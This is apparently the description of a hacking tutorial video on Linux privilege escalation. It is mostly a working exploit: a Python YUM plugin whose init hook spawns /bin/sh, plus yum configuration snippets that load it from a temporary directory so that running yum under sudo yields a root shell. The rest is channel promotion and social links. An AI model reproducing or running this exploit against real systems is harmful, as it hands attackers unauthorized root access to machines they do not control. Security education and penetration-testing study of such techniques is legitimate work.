Linux Privilege Escalation : Sudo and YUM package manager ||RPM payload||

Опубликовано: 17 Октябрь 2024
на канале: The Amazicellent Hacker
982
28

Python exploit:-
________________________________________________________________________________
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
________________________________________________________________________________
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
_________________________________________________________________________________
[main]
enabled=1
_________________________________________________________________________________

Its one of the many techniques used in priviledge escalation go through the full linux privilege escalation series to learn more about privilege escalation.

If there are any queries leave them in the comment section below. 🙂🙂

Please don't forget to subscribe the channel and hit the bell.🔔🔔
Peace !!☮☮📺📺

_______________________________________________________________________
If you want to follow me on :-
Twitter:-   / a_chacker  
Facebook:-   / theachacker  
Mail :- [email protected]
Blog :- https://infonepaloscar.blogspot.com/

#ethical_hacking #kali_linux #Linux_privilege_escalation